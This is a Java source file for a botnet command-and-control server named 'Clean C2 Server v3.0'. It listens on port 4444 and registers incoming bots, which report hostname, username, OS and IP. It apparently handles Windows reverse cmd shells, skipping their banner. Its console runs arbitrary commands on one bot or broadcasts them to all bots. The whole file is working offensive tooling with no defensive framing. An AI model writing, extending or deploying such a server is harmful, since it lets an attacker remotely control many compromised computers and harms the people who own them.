FullC2Server_Clean.java

// FullC2Server_Clean.java
import java.io.*;
import java.net.*;
import java.nio.charset.Charset;
import java.util.*;
import java.util.concurrent.*;

public class FullC2Server_Clean {
    private static final int PORT = 4444;
    private static final Map<String, BotSession> bots = new ConcurrentHashMap<>();
    private static final ExecutorService pool = Executors.newCachedThreadPool();
    private static volatile boolean running = true;

    // Windows-1251 for Cyrillic, fallback to UTF-8
    private static final Charset WIN_CHARSET;
    static {
        Charset cs;
        try {
            cs = Charset.forName("windows-1251");
        } catch (Exception e) {
            cs = Charset.forName("UTF-8");
        }
        WIN_CHARSET = cs;
    }

    static class BotSession {
        String id;
        Socket socket;
        PrintWriter out;
        BufferedReader in;
        boolean firstRead = true; // skip banner
        String hostname = "unknown";
        String username = "unknown";
        String osInfo = "unknown";
        String javaVersion = "unknown";
        String botIp = "unknown";

        BotSession(Socket socket) throws IOException {
            this.id = UUID.randomUUID().toString().substring(0, 8);
            this.socket = socket;
            this.out = new PrintWriter(socket.getOutputStream(), true);
            this.in = new BufferedReader(new InputStreamReader(socket.getInputStream(), WIN_CHARSET));
            this.readBotInfo();
            bots.put(id, this);
        }

        private void readBotInfo() {
            try {
                socket.setSoTimeout(5000);
                String line = in.readLine();
                if (line != null && line.startsWith("@@BOT@@|")) {
                    String[] parts = line.split("\\|", 6);
                    if (parts.length >= 6) {
                        hostname = parts[1];
                        username = parts[2];
                        osInfo = parts[3];
                        javaVersion = parts[4];
                        botIp = parts[5];
                    }
                }
            } catch (Exception ignored) {
                try {
                    botIp = socket.getInetAddress().getHostAddress();
                } catch (Exception ex) {
                    botIp = "unknown";
                }
            } finally {
                try { socket.setSoTimeout(0); } catch (Exception ignored) {}
            }
        }

        String getLabel() {
            return hostname + " / " + username + " / " + osInfo + " / " + botIp;
        }

        // Send command (no auto-read)
        void send(String cmd) {
            out.println(cmd);
            out.flush();
        }

        String readOutput() {
            return readOutput(3000);
        }

        String readOutput(int timeoutMs) {
            StringBuilder sb = new StringBuilder();
            try {
                socket.setSoTimeout(timeoutMs);
                String line;
                boolean first = true;
                while ((line = in.readLine()) != null) {
                    // Skip the shell banner on first read
                    if (firstRead) {
                        if (line.contains("Microsoft Windows") || line.contains("(c)") || line.isEmpty()) {
                            continue;
                        }
                        firstRead = false;
                    }
                    sb.append(line).append("\n");
                }
            } catch (SocketTimeoutException e) {
                // normal — no more data
            } catch (IOException e) {
                // connection error
            } finally {
                try { socket.setSoTimeout(0); } catch (Exception ignored) {}
            }
            return sb.toString().trim();
        }

        void close() {
            try { socket.close(); } catch (IOException e) {}
            bots.remove(id);
        }
    }

    public static void main(String[] args) throws IOException {
        System.out.println("[C2] Clean C2 Server v3.0 on port " + PORT);
        System.out.println("[C2] Encoding: " + WIN_CHARSET.displayName());

        try (ServerSocket server = new ServerSocket(PORT)) {
            // Acceptor
            new Thread(() -> {
                while (running) {
                    try {
                        Socket client = server.accept();
                        BotSession bot = new BotSession(client);
                        System.out.println("[+] Bot " + bot.id + " " + bot.getLabel());
                        pool.submit(() -> handleBot(bot));
                    } catch (IOException e) {
                        if (running) e.printStackTrace();
                    }
                }
            }).start();

            // CLI
            BufferedReader console = new BufferedReader(new InputStreamReader(System.in));
            while (running) {
                System.out.print("C2> ");
                String line = console.readLine();
                if (line == null) break;
                processCommand(line.trim());
            }
        } finally {
            pool.shutdownNow();
            bots.values().forEach(BotSession::close);
            System.out.println("C2 shutdown.");
        }
    }

    private static void processCommand(String line) {
        if (line.isEmpty()) return;
        String[] parts = line.split(" ", 3);
        String cmd = parts[0].toLowerCase();

        switch (cmd) {
            case "help":
                System.out.println("Commands: list, shell <id> <cmd>, exec <id|all> <cmd>, read <id>, exit");
                break;
            case "list":
                System.out.println("Active bots: " + bots.size());
                for (BotSession bot : bots.values()) {
                    System.out.println("  " + bot.id + "  " + bot.getLabel());
                }
                break;
            case "shell":
                if (parts.length < 3) {
                    System.out.println("Usage: shell <id> <command>");
                    return;
                }
                BotSession shellBot = bots.get(parts[1]);
                if (shellBot != null) {
                    shellBot.send(parts[2]);
                    String shellOut = shellBot.readOutput(5000);
                    System.out.println(shellOut.isEmpty() ? "[*] No output" : shellOut);
                } else {
                    System.out.println("Bot not found.");
                }
                break;
            case "exec":
                if (parts.length < 3) {
                    System.out.println("Usage: exec <id|all> <command>");
                    return;
                }
                String target = parts[1];
                String command = parts[2];
                if (target.equals("all")) {
                    for (BotSession b : bots.values()) {
                        b.send(command);
                    }
                    System.out.println("[*] Command sent to all bots. Use 'read <id>' to see output.");
                } else {
                    BotSession b = bots.get(target);
                    if (b != null) {
                        b.send(command);
                        System.out.println("[*] Command sent. Use 'read " + target + "' to get output.");
                    } else {
                        System.out.println("Bot not found.");
                    }
                }
                break;
            case "read":
                if (parts.length < 2) {
                    System.out.println("Usage: read <id>");
                    return;
                }
                BotSession b = bots.get(parts[1]);
                if (b != null) {
                    String out = b.readOutput();
                    System.out.println(out.isEmpty() ? "[*] No output (or command not finished)" : out);
                } else {
                    System.out.println("Bot not found.");
                }
                break;
            case "exit":
                running = false;
                break;
            default:
                System.out.println("Unknown. Try help.");
        }
    }

    private static void handleBot(BotSession bot) {
        try {
            while (running) {
                // Just keep connection alive — no unsolicited reads
                Thread.sleep(500);
            }
        } catch (InterruptedException ignored) {
        } finally {
            bot.close();
        }
    }
}